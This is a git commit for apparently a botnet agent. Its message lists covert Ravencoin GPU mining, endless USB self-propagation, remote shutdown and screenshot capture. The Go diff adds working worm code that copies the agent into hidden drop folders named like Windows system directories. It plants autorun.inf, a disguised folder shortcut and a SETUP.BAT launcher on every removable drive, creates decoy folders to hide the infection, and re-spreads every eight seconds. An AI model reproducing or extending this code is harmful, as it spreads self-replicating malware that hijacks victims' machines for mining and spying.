Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) {
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
// isPayloadStale returns true when the on-disk USB payload has a different
|
||||
// size than the current running executable — meaning the agent was upgraded
|
||||
// and the USB copy needs to be refreshed.
|
||||
func isPayloadStale(exePath string, payloadSize int64) bool {
|
||||
fi, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return fi.Size() != payloadSize
|
||||
}
|
||||
|
||||
func saveBackup(installedBin string) error {
|
||||
backup := installedBin + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
|
||||
@@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with already-mounted removable media so we don't spread to
|
||||
// drives that were plugged in before the agent started.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
seen[mp] = true
|
||||
type mountState struct{ payloadSize int64 }
|
||||
state := map[string]mountState{}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
for _, mp := range listRemovableMounts() {
|
||||
if seen[mp] {
|
||||
continue
|
||||
}
|
||||
seen[mp] = true
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
|
||||
// Spread to drives already present at startup if payload is missing or stale.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
size, found := findUnixPayloadSize(mp)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
state[mp] = mountState{}
|
||||
} else {
|
||||
state[mp] = mountState{payloadSize: size}
|
||||
}
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(8 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, mp := range listRemovableMounts() {
|
||||
prev, seen := state[mp]
|
||||
if !seen {
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
continue
|
||||
}
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
|
||||
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
|
||||
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
|
||||
for _, dir := range dotDirs {
|
||||
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
fi, err := e.Info()
|
||||
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
|
||||
return fi.Size(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// listRemovableMounts returns currently-mounted removable media paths.
|
||||
|
||||
@@ -91,44 +91,98 @@ func setHiddenSystem(path string) {
|
||||
// USB watcher
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
// knownDropDirs is the set of hidden directory names we may use as drop dirs.
|
||||
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
|
||||
// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
|
||||
// that don't already carry an up-to-date payload.
|
||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with drives already present at start — don't spread to them immediately.
|
||||
// Track drives + the size of the payload we last wrote to each.
|
||||
type driveState struct{ payloadSize int64 }
|
||||
state := map[string]driveState{}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Check drives already present when the agent starts — spread to any that
|
||||
// are missing or stale (different binary size), don't just skip them.
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) == driveRemovable {
|
||||
seen[d] = true
|
||||
size, found := findUSBPayloadSize(d)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
go spreadToUSB(cfg, d)
|
||||
state[d] = driveState{}
|
||||
} else {
|
||||
state[d] = driveState{payloadSize: size}
|
||||
}
|
||||
}
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
|
||||
ticker := time.NewTicker(8 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) != driveRemovable {
|
||||
continue
|
||||
}
|
||||
if seen[d] {
|
||||
prev, seen := state[d]
|
||||
if !seen {
|
||||
// Brand-new drive just inserted
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
state[d] = driveState{}
|
||||
go spreadToUSB(cfg, d)
|
||||
continue
|
||||
}
|
||||
seen[d] = true
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
go spreadToUSB(cfg, d)
|
||||
// Refresh if the agent binary was updated since we last wrote
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", d)
|
||||
state[d] = driveState{}
|
||||
go spreadToUSB(cfg, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a freshly inserted removable drive
|
||||
// using three complementary techniques:
|
||||
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
|
||||
// 2. LNK shortcut — looks like a folder; user double-clicks it
|
||||
// 3. Hidden dir — keeps the binary out of plain sight
|
||||
// findUSBPayloadSize scans the known drop dirs on drive and returns the file
|
||||
// size of the first .exe found, plus a bool indicating success.
|
||||
func findUSBPayloadSize(drive string) (size int64, found bool) {
|
||||
for _, dir := range knownDropDirs {
|
||||
entries, err := os.ReadDir(filepath.Join(drive, dir))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
|
||||
fi, err := e.Info()
|
||||
if err == nil {
|
||||
return fi.Size(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a removable drive using four techniques:
|
||||
// 1. Hidden drop dir — binary in a disguised system subfolder
|
||||
// 2. autorun.inf — legacy auto-execute (XP/Vista/7)
|
||||
// 3. LNK shortcut — folder icon; user double-clicks it (Win8+)
|
||||
// 4. SETUP.BAT — plain visible batch file as fallback trigger
|
||||
// 5. Decoy folder — fake "Documents" folder so drive looks natural
|
||||
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// Randomised drop directory looks like a Windows system folder.
|
||||
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
|
||||
|
||||
// Randomised drop directory that looks like a Windows system folder.
|
||||
dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
|
||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
@@ -142,19 +196,37 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
setHiddenSystem(destBin)
|
||||
log.Printf("[passive-spread] agent copied to %s", destBin)
|
||||
|
||||
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)
|
||||
|
||||
// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
|
||||
relBin, relBin,
|
||||
)
|
||||
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
||||
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
||||
|
||||
// 2. LNK shortcut that looks like the drive's main folder.
|
||||
// We pick a name that mirrors whatever real directories are present
|
||||
// so it blends in, or fall back to a generic "Open Documents" label.
|
||||
// 2. LNK shortcut — folder icon, minimised window
|
||||
lnkName := pickLinkName(drive)
|
||||
createFolderShortcut(drive, lnkName, destBin)
|
||||
|
||||
// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
|
||||
// so it works even if the LNK is deleted. The bat runs the exe minimised.
|
||||
batLines := "@echo off\r\n"
|
||||
for _, dir := range knownDropDirs {
|
||||
batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
|
||||
dir, dir)
|
||||
}
|
||||
batLines += ":done\r\n"
|
||||
batPath := filepath.Join(drive, "SETUP.BAT")
|
||||
_ = os.WriteFile(batPath, []byte(batLines), 0644)
|
||||
|
||||
// 4. Decoy visible folder so the drive looks natural when opened
|
||||
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
|
||||
if err := os.MkdirAll(decoyDir, 0755); err == nil {
|
||||
// Drop a harmless placeholder so it doesn't look empty
|
||||
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
|
||||
[]byte("This folder is empty.\r\n"), 0644)
|
||||
}
|
||||
}
|
||||
|
||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||
@@ -185,13 +257,36 @@ func pickLinkName(drive string) string {
|
||||
return "Open Documents"
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
|
||||
return e.Name() // shortcut will have the same name as the first real folder
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
n := e.Name()
|
||||
if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
|
||||
continue
|
||||
}
|
||||
return n
|
||||
}
|
||||
return "Open Documents"
|
||||
}
|
||||
|
||||
// pickDecoyFolderName returns a visible folder name to create on the USB so
|
||||
// the drive looks like it contains real content. It avoids names already
|
||||
// used by pickLinkName so the shortcut name and decoy name differ.
|
||||
func pickDecoyFolderName(drive string) string {
|
||||
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
|
||||
entries, _ := os.ReadDir(drive)
|
||||
existing := map[string]bool{}
|
||||
for _, e := range entries {
|
||||
existing[strings.ToLower(e.Name())] = true
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if !existing[strings.ToLower(c)] {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return "Backup"
|
||||
}
|
||||
|
||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||
func createFolderShortcut(dir, name, destBin string) {
|
||||
|
||||
Reference in New Issue
Block a user